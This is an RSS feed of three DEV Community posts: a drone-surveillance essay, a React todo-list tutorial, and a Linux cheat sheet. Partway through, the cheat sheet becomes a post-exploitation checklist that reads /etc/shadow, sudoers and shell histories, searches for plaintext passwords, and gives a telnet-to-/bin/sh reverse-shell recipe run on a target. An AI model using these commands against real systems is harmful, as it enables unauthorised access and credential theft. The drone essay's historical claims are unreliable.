<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Justin Varghese</title>
    <description>The latest articles on DEV Community by Justin Varghese (@justinnn07).</description>
    <link>https://dev.to/justinnn07</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F545326%2F7f1a95e1-9c32-44cd-a4cc-aeafeebe28e8.jpg</url>
      <title>DEV Community: Justin Varghese</title>
      <link>https://dev.to/justinnn07</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/justinnn07"/>
    <language>en</language>
    <item>
      <title>DRONE SURVEILLANCE</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Sun, 03 Jul 2022 07:10:49 +0000</pubDate>
      <link>https://dev.to/justinnn07/drone-surveillance-2j4j</link>
      <guid>https://dev.to/justinnn07/drone-surveillance-2j4j</guid>
      <description>&lt;p&gt;DRONE was invented by Abraham Karem .He imagined his&lt;br&gt;
drones involved in a “tactical conflict with the Warsaw Pact, be&lt;br&gt;
it on the plains of Germany or as part of our Navy and Marines.&lt;br&gt;
In 1935 the first drone is developed . The purpose was to detect&lt;br&gt;
the target from heights and for military purposes as well. And&lt;br&gt;
it’s a important part of civil life . Drones are very useful and&lt;br&gt;
became very popular these days they possess areas ability to&lt;br&gt;
reach area without pilot. Over 5 million people started using&lt;br&gt;
drone for different purposes .&lt;br&gt;
Drone was invented for security purposes. So it’s obvious that it&lt;br&gt;
can contribute exceptionally in that task . Drones have&lt;br&gt;
capabilities , small size and ability to withstand harsh&lt;br&gt;
environments mean they can often survey subjects that might&lt;br&gt;
not be accessible otherwise and can access a first-person view&lt;br&gt;
(FPV) that would normally be impossible for the photographer.&lt;br&gt;
Beyond surveillance UAV’s are used for drone journalism , &lt;br&gt;
search and rescue. Both fixed- wing and multi-rotor drones are&lt;br&gt;
used for surveillance . Fixed-wing UAVs are typically used to&lt;br&gt;
patrol larger areas such as coastlines, borders and long sections&lt;br&gt;
of road and infrastructure, as they have greater flight&lt;br&gt;
endurance and can cover a greater distance without recharging&lt;br&gt;
or refuelling. Drones can be used to peer in windows to record&lt;br&gt;
meetings, or to identify any valuable information in plain sight.&lt;br&gt;
DRONES are considered as the best inventions of humans till&lt;br&gt;
now . The invention which contributed many ways to the&lt;br&gt;
security system by providing high-quality aerial photographs&lt;br&gt;
and video, and collecting vast amounts of imaging data.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Build a Todo List App With React JS For Beginners.</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Sat, 23 Oct 2021 08:54:43 +0000</pubDate>
      <link>https://dev.to/justinnn07/build-a-todo-list-app-with-react-js-for-beginners-f7g</link>
      <guid>https://dev.to/justinnn07/build-a-todo-list-app-with-react-js-for-beginners-f7g</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Today let's build a Todo List app using React JS and localStorage. &lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisite
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Nodejs &lt;/li&gt;
&lt;li&gt;IDE || Notepad xD&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4j5497i0js260d4u16fo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4j5497i0js260d4u16fo.png" alt="terminal"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Create a React app using &lt;code&gt;npx create-react-app todolist&lt;/code&gt; in the terminal. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Open the Folder in your IDE by typing &lt;code&gt;code .&lt;/code&gt; in the terminal (if using Visual Studio) , in my case i am using &lt;a href="https://visualstudio.microsoft.com/" rel="noopener noreferrer"&gt;VS Code&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Type &lt;code&gt;npm start&lt;/code&gt; in the terminal for running the app.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Clean-Up Process
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvcay8w0gb5sv5hv8aug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvcay8w0gb5sv5hv8aug.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Here in the &lt;strong&gt;src&lt;/strong&gt; Folder there are  few Items to be removed as there is no need for them in our app. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Files to be removed :- &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;App.test.js&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;logo.svg&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;reportWebVitals.js&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;setupTests.js&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Configuration after Clean up
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;App.js - &lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxxjq8ygmxmyxcdyo7qkr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxxjq8ygmxmyxcdyo7qkr.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;index.js - &lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyq3xeauc67gctgb9jnc1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyq3xeauc67gctgb9jnc1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Starting Build of the App...
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;First Setup a Simple Front end , Here's the UI which i am using:- &lt;br&gt;
&lt;a href="https://codepen.io/BeeCodes/pen/MWYEwov" rel="noopener noreferrer"&gt;https://codepen.io/BeeCodes/pen/MWYEwov&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This is the ui here.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftm598kkpnem3ahvhgujb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftm598kkpnem3ahvhgujb.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://gist.github.com/Justinnn07/adf6dabdf3a4d114a8872df637026a78" rel="noopener noreferrer"&gt;Gist&lt;/a&gt; Of App.js&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcjbwioif9bikk4bgucpx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcjbwioif9bikk4bgucpx.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://gist.github.com/Justinnn07/56b8a1ce757d2e693c02710b164e6f35" rel="noopener noreferrer"&gt;Css&lt;/a&gt; &lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fle62mwofqmdqz9g1ipni.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fle62mwofqmdqz9g1ipni.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Tracking the values of the input.
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Using useState track the value of the useState&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrm4u5btrh1c96urczvz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrm4u5btrh1c96urczvz.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install uuid using &lt;code&gt;npm i uuid&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Create an handler for setting the data into an array
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Here while settingData we aren't using "setState" because the previous todo will be cleared. That is why we are using push method.&lt;/li&gt;
&lt;li&gt;We are setting the todo in the localStorage, So that we can get our todo's after refresh &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3cdquvycg3ox42xghshn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3cdquvycg3ox42xghshn.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Displaying The Todo
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Assign the addTodo to the submit button. &lt;/li&gt;
&lt;li&gt;Map the State Data.
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyb6x0n6gpx1sr0pb50jl.png" alt="Image description"&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;## Getting Data from the localStorage&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff9sdpdampikgigqcdgju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff9sdpdampikgigqcdgju.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we need to pass the setState as &lt;code&gt;JSON.parse&lt;/code&gt; , else the state will get String as value &lt;/p&gt;

&lt;h2&gt;
  
  
  Implementing Delete Feature
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;for deleting , we will be using filter method and setting it to the state and pushing the data into localStorage &lt;/li&gt;
&lt;li&gt;Assign the handler to the delete button&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe0cpk4z5349m3dwrfufi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe0cpk4z5349m3dwrfufi.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Deployed Link:-  &lt;a href="https://todo-list-app-one.vercel.app/" rel="noopener noreferrer"&gt;https://todo-list-app-one.vercel.app/&lt;/a&gt;&lt;br&gt;
Github Link:- &lt;a href="https://github.com/Justinnn07/todo-list-app" rel="noopener noreferrer"&gt;https://github.com/Justinnn07/todo-list-app&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About Author
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Justinnn07" rel="noopener noreferrer"&gt;Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/Justinn771" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://justinn.me" rel="noopener noreferrer"&gt;Portfolio&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
    </item>
    <item>
      <title>Ultimate Linux Cheat Sheet</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Tue, 02 Mar 2021 20:03:22 +0000</pubDate>
      <link>https://dev.to/forcommunity/ultimate-linux-cheat-sheet-4gm5</link>
      <guid>https://dev.to/forcommunity/ultimate-linux-cheat-sheet-4gm5</guid>
      <description>&lt;p&gt;*&lt;em&gt;Do you want to become ethical hacker and want to know how hackers hack in Real World. Join the telegram group and be a&lt;br&gt;
part of us *&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Telegram&lt;/strong&gt;  = &lt;a href="https://t.me/infosecbugbounty" rel="noopener noreferrer"&gt;https://t.me/infosecbugbounty&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Linux commands may seem intimidating at first glance if you are not used to using the terminal. There are many commands for performing operations and processes on your Linux system.&lt;/p&gt;

&lt;p&gt;No matter whether you are new to Linux or an experienced user, having a list of common commands close at hand is helpful.&lt;/p&gt;

&lt;p&gt;In this tutorial, you will find commonly used Linux commands as well list of common Linux commands&lt;br&gt;
Important: Depending on your system setup, some of the commands below may require invoking sudo to be executed&lt;/p&gt;

&lt;p&gt;A list of all Linux commands commonly used with Linux operating systems.&lt;br&gt;
Linux Commands List&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File Commands&lt;/strong&gt;&lt;br&gt;
List files in the directory:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
List all files (shows hidden files):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ls -a&lt;/strong&gt;&lt;br&gt;
Show directory you are currently working in:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;pwd&lt;/strong&gt;&lt;br&gt;
Create a new directory:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mkdir [directory]&lt;/strong&gt;&lt;br&gt;
Make a new directory&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;rm [file_name] *&lt;/em&gt;&lt;br&gt;
Remove a directory recursively&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;rm -rf [directory_name]&lt;/strong&gt;&lt;br&gt;
It deletes the directory&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;cp [file_name1] [file_name2]&lt;/strong&gt;&lt;br&gt;
Recursively copy the contents of one file to a second file:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;cp -r [directory_name1] [directory_name2]&lt;/strong&gt;&lt;br&gt;
Rename [file_name1] to [file_name2] with the command:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mv [file_name1] [file_name2]&lt;/strong&gt;&lt;br&gt;
Create a symbolic link to a file:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ln -s /path/to/[file_name] [link_name]&lt;/strong&gt;&lt;br&gt;
Create a new file:&lt;/p&gt;

&lt;p&gt;touch [file_name]&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware Information&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Show bootup messages:&lt;/p&gt;

&lt;p&gt;dmesg&lt;br&gt;
See CPU information:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;cat /proc/cpuinfo&lt;/strong&gt;&lt;br&gt;
Display free and used memory with:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;free -h&lt;/strong&gt;&lt;br&gt;
List hardware configuration information:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;lshw&lt;/strong&gt;&lt;br&gt;
See information about block devices:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;lsblk&lt;/strong&gt;&lt;br&gt;
Show PCI devices in a tree-like diagram:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;lspci -tv&lt;/strong&gt;&lt;br&gt;
Display USB devices in a tree-like diagram:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;lsusb -tv&lt;/strong&gt;&lt;br&gt;
Show hardware information from the BIOS:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dmidecode&lt;/strong&gt;&lt;br&gt;
Display disk data information:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;hdparm -i /dev/disk&lt;/strong&gt;&lt;br&gt;
Conduct a read-speed test on device/disk:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;hdparm -tT /dev/[device]&lt;/strong&gt;&lt;br&gt;
Test for unreadable blocks on device/disk:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;badblocks -s /dev/[device]&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operating System&lt;br&gt;
What's the distribution type? What version?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /etc/issue&lt;br&gt;
cat /etc/*-release&lt;br&gt;
cat /etc/lsb-release&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's the kernel version? Is it 64-bit?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /proc/version&lt;br&gt;
uname -a&lt;br&gt;
uname -mrs&lt;br&gt;
rpm -q kernel&lt;br&gt;
dmesg | grep Linux&lt;br&gt;
ls /boot | grep vmlinuz-&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What can be learnt from the environmental variables?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /etc/profile&lt;br&gt;
cat /etc/bashrc&lt;br&gt;
cat ~/.bash_profile&lt;br&gt;
cat ~/.bashrc&lt;br&gt;
cat ~/.bash_logout&lt;br&gt;
env&lt;br&gt;
set&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is there a printer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;lpstat -a&lt;/p&gt;

&lt;p&gt;Applications &amp;amp; Services&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What services are running? Which service has which user privilege?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ps aux&lt;br&gt;
ps -ef&lt;br&gt;
top&lt;br&gt;
cat /etc/services&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which service(s) are been running by root? Of these services, which are vulnerable&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ps aux | grep root&lt;br&gt;
ps -ef | grep root&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What applications are installed? What version are they? Are they currently running?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ls -alh /usr/bin/&lt;br&gt;
ls -alh /sbin/&lt;br&gt;
dpkg -l&lt;br&gt;
rpm -qa&lt;br&gt;
ls -alh /var/cache/apt/archivesO&lt;br&gt;
ls -alh /var/cache/yum/&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /etc/syslog.conf&lt;br&gt;
cat /etc/chttp.conf&lt;br&gt;
cat /etc/lighttpd.conf&lt;br&gt;
cat /etc/cups/cupsd.conf&lt;br&gt;
cat /etc/inetd.conf&lt;br&gt;
cat /etc/apache2/apache2.conf&lt;br&gt;
cat /etc/my.conf&lt;br&gt;
cat /etc/httpd/conf/httpd.conf&lt;br&gt;
cat /opt/lampp/etc/httpd.conf&lt;br&gt;
ls -aRl /etc/ | awk '$1 ~ /^.&lt;em&gt;r.&lt;/em&gt;/&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What jobs are scheduled?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;crontab -l&lt;br&gt;
ls -alh /var/spool/cron&lt;br&gt;
ls -al /etc/ | grep cron&lt;br&gt;
ls -al /etc/cron*&lt;br&gt;
cat /etc/cron*&lt;br&gt;
cat /etc/at.allow&lt;br&gt;
cat /etc/at.deny&lt;br&gt;
cat /etc/cron.allow&lt;br&gt;
cat /etc/cron.deny&lt;br&gt;
cat /etc/crontab&lt;br&gt;
cat /etc/anacrontab&lt;br&gt;
cat /var/spool/cron/crontabs/root&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Any plain text usernames and/or passwords?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;grep -i user [filename]&lt;br&gt;
grep -i pass [filename]&lt;br&gt;
grep -C 5 "password" [filename]&lt;br&gt;
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Communications &amp;amp; Networking&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;What NIC(s) does the system have? Is it connected to another network?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;/sbin/ifconfig -a&lt;br&gt;
cat /etc/network/interfaces&lt;br&gt;
cat /etc/sysconfig/network&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /etc/resolv.conf&lt;br&gt;
cat /etc/sysconfig/network&lt;br&gt;
cat /etc/networks&lt;br&gt;
iptables -L&lt;br&gt;
hostname&lt;br&gt;
dnsdomainname&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What other users &amp;amp; hosts are communicating with the system?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;lsof -i&lt;br&gt;
lsof -i :80&lt;br&gt;
grep 80 /etc/services&lt;br&gt;
netstat -antup&lt;br&gt;
netstat -antpx&lt;br&gt;
netstat -tulpn&lt;br&gt;
chkconfig --list&lt;br&gt;
chkconfig --list | grep 3:on&lt;br&gt;
last&lt;br&gt;
w&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Whats cached? IP and/or MAC addresses&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;arp -e&lt;br&gt;
route&lt;br&gt;
/sbin/route -nee&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is packet sniffing possible? What can be seen? Listen to live traffic&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21&lt;/p&gt;

&lt;p&gt;Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]&lt;/p&gt;

&lt;p&gt;Have you got a shell? Can you interact with the system?&lt;/p&gt;

&lt;p&gt;nc -lvp 4444    # Attacker. Input (Commands)&lt;br&gt;
nc -lvp 4445    # Attacker. Ouput (Results)&lt;br&gt;
telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidential Information &amp;amp; Users&lt;/strong&gt;&lt;br&gt;
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?**&lt;/p&gt;

&lt;p&gt;id&lt;br&gt;
who&lt;br&gt;
w&lt;br&gt;
last&lt;br&gt;
cat /etc/passwd | cut -d: -f1    # List of users&lt;br&gt;
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users&lt;br&gt;
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users&lt;br&gt;
cat /etc/sudoers&lt;br&gt;
sudo -l&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What sensitive files can be found?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /etc/passwd&lt;br&gt;
cat /etc/group&lt;br&gt;
cat /etc/shadow&lt;br&gt;
ls -alh /var/mail/&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anything "interesting" in the home directorie(s)? If it's possible to access&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ls -ahlR /root/&lt;br&gt;
ls -ahlR /home/&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat /var/apache2/config.inc&lt;br&gt;
cat /var/lib/mysql/mysql/user.MYD&lt;br&gt;
cat /root/anaconda-ks.cfg&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What has the user being doing? Is there any password in plain text? What have they been editing?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat ~/.bash_history&lt;br&gt;
cat ~/.nano_history&lt;br&gt;
cat ~/.atftp_history&lt;br&gt;
cat ~/.mysql_history&lt;br&gt;
cat ~/.php_history&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What user information can be found?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;cat ~/.bashrc&lt;br&gt;
cat ~/.profile&lt;br&gt;
cat /var/mail/root&lt;br&gt;
cat /var/spool/mail/root&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hey Guys we just dropped our 1st video on YouTube at 10 Am (IST) on 16 January 2020 .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=4pjpHUN28kk" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=4pjpHUN28kk&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fvbprj0dselzoyybfclmn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fvbprj0dselzoyybfclmn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Be a part of us 🚀 🚀&lt;br&gt;
Telegram &lt;a href="https://t.me/forthecommunity" rel="noopener noreferrer"&gt;https://t.me/forthecommunity&lt;/a&gt;&lt;br&gt;
Discord &lt;a href="https://discord.com/invite/QsAqC4yKkm" rel="noopener noreferrer"&gt;https://discord.com/invite/QsAqC4yKkm&lt;/a&gt;&lt;br&gt;
Facebook &lt;a href="https://www.facebook.com/forcommunity.tech" rel="noopener noreferrer"&gt;https://www.facebook.com/forcommunity.tech&lt;/a&gt;&lt;br&gt;
